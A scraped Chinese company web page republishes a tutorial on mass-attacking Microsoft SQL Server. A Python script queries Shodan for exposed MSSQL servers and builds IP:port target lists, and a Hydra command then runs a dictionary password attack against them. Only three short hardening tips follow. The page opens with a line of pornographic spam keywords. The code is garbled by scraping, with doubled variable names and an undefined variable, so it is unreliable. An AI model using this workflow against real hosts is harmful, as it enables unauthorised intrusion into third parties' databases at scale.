日本综合一区二区|亚洲中文天堂综合|日韩欧美自拍一区|男女精品天堂一区|欧美自拍第6页亚洲成人精品一区|亚洲黄色天堂一区二区成人|超碰91偷拍第一页|日韩av夜夜嗨中文字幕|久久蜜综合视频官网|精美人妻一区二区三区

RELATEED CONSULTING
相關咨詢
選擇下列產品馬上在線溝通
服務時間:8:30-17:00
你可能遇到了下面的問題
關閉右側工具欄

新聞中心

這里有您想知道的互聯網營銷解決方案
基于ShodanPython庫的批量攻擊實踐

SQL Server的弱口令入侵案例層出不窮,利用工具也大量存在,本文以MSSQL服務器為切入點,以解決批量目標發(fā)現為目標,介紹了一種基于Shodan Python庫的攻擊方法。希望能給有類似需求的同學提供參考。

網站的建設創(chuàng)新互聯專注網站定制,經驗豐富,不做模板,主營網站定制開發(fā).小程序定制開發(fā),H5頁面制作!給你煥然一新的設計體驗!已為茶樓設計等企業(yè)提供專業(yè)服務。

一、基本思路

首先利用Shodan的Python庫獲取并實時處理MSSQL服務器IP及1434端口Banner,得到IP和MSSQL連接端口的組合列表;然后利用Hydra進行字典口令攻擊。

SQL Server服務使用兩個端口:TCP-1433、UDP-1434。其中1433用于供SQL Server對外提供服務,1434用于向請求者返回SQL Server使用了哪個TCP/IP端口。

—— 百度百科-1433端口

二、實現腳本

實現過程詳見腳本中的注釋

 
 
 
 
  1. # -- coding:utf-8 -- 
  2. # Python v2.7.10 
  3. # MSSQL.py 
  4. # Written by Gaearrow 
  5.  
  6. import shodan 
  7. import sys 
  8.  
  9. # API_KEY 
  10. API_KEY = "YOUR_API_KEY" 
  11. query = "product:\"Microsoft SQL Server\"" 
  12.  
  13. # 處理輸入 
  14. if len(sys.argv) != 3: 
  15.     print  
  16.     print 'Usage: MSSQL.py  
  17.     sys.exit(1) 
  18. pagestart = int(sys.argv[1]) 
  19. pageend = int(sys.argv[2]) 
  20.  
  21. try: 
  22.     # 初始化輸出文件 
  23.     ofilename = 'page'+str(pagestart)+'to'+str(pageend) 
  24.     ofilesrc = ofilename+'_src.txt' 
  25.     ofileip = ofilename+'_ip.txt' 
  26.     fsrc = open(ofilesrc,'w') 
  27.     fip = open(ofileip,'w') 
  28.  
  29.     # 統計變量 
  30.     numofport = 0 
  31.     numofnoport = 0 
  32.     rstlist = 0 
  33.      
  34.     # 逐頁檢索 
  35.     api = shodan.Shodan(API_KEY) 
  36.     rsttotal = api.count(query) 
  37.     maxpage = (rsttotal['total']+99)/100 
  38.     if pageend > maxpage: 
  39.         pageend = maxpage 
  40.     for page in range(pagestart,pageend+1): 
  41.         result = api.search(query,page) 
  42.         for mssql in result['matches']: 
  43.             # 從Banner中解析MSSQL的連接端口 
  44.             ## 刪除換行 
  45.             ip = mssql['ip_str'].strip('\n') 
  46.             ## Ignore IPv6 
  47.             if len(ip) > 15: 
  48.                 continue 
  49.             ## 跳過特殊字符 
  50.             banner = mssql['data'][3:] 
  51.             ## 檢查Banner 
  52.             if banner.find('ServerName') < 0: 
  53.                 continue 
  54.             pos = banner.find('tcp;') 
  55.             if pos > 0: 
  56.                 strlist = banner[pos:].split(';') 
  57.                 if strlist[1].find('np') < 0: 
  58.                     ### tcp;1234;np;.. 
  59.                     ipipport = ip+':'+strlist[1] 
  60.                     numofportnumofport = numofport + 1 
  61.                 else: 
  62.                     ### tcp;np;.. 
  63.                     ipipport = ip+":1433" 
  64.                     numofnoportnumofnoport = numofnoport + 1 
  65.             else: 
  66.                 ### no 'tcp;' 
  67.                 ipipport = ip+":1433" 
  68.                 numofnoportnumofnoport = numofnoport + 1 
  69.  
  70.             print >>fip,ipport 
  71.             print >>fsrc,mssql['ip_str'] 
  72.             print >>fsrc,mssql['data'][3:] 
  73.             rstlistrstlist = rstlist + 1 
  74.  
  75.     # 打印統計信息 
  76.     print >>fsrc,'===================================' 
  77.     print >>fsrc,'Shodan Summary Information' 
  78.     print >>fsrc,'Query : ', query 
  79.     print >>fsrc,'Total Results : ', rsttotal['total'] 
  80.     print >>fsrc,'List  Results : ', rstlist 
  81.     print >>fsrc,'Page  Start   : ', pagestart 
  82.     print >>fsrc,'Page  End     : ', pageend 
  83.     print >>fsrc,'Port  Assigned   : ',numofport 
  84.     print >>fsrc,'Port  Unassigned : ',numofnoport 
  85.     print >>fsrc,'===================================' 
  86.  
  87. except Exception as e: 
  88.     print 'Error: %s' % e 
  89.     sys.exit(1) 
  90.  
  91. fsrc.close() 
  92. fip.close() 

三、執(zhí)行示例

1. 執(zhí)行環(huán)境

 
 
 
 
  1. root@kali2:~/app/mssqlnew# uname -a 
  2. Linux kali2 4.0.0-kali1-686-pae #1 SMP Debian 4.0.4-1+kali2 (2015-06-03) i686 GNU/Linux 
  3. root@kali2:~/app/mssqlnew# python -V 
  4. Python 2.7.9 

2. 獲取地址端口組合列表

 
 
 
 
  1. root@kali2:~/app/mssqlnew# python MSSQL.py 1 10 

page1to10_src.txt

page1to10_ip.txt

3. hydra字典攻擊

攻擊耗時及成功率與用戶、口令字典有緊密關系,網絡帶寬也影響速度。

root@kali2:~/app/mssqlnew# hydra -L sqluser.dic -P sqlpass.dic -t 30 -M page1to10_ip.txt mssql

四、安全建議

  • 設置MSSQL僅限本地連接
  • 修改MSSQL的默認連接端口
  • 分級配置各類數據庫用戶權限

網頁標題:基于ShodanPython庫的批量攻擊實踐
鏈接地址:http://www.dlmjj.cn/article/ccecoop.html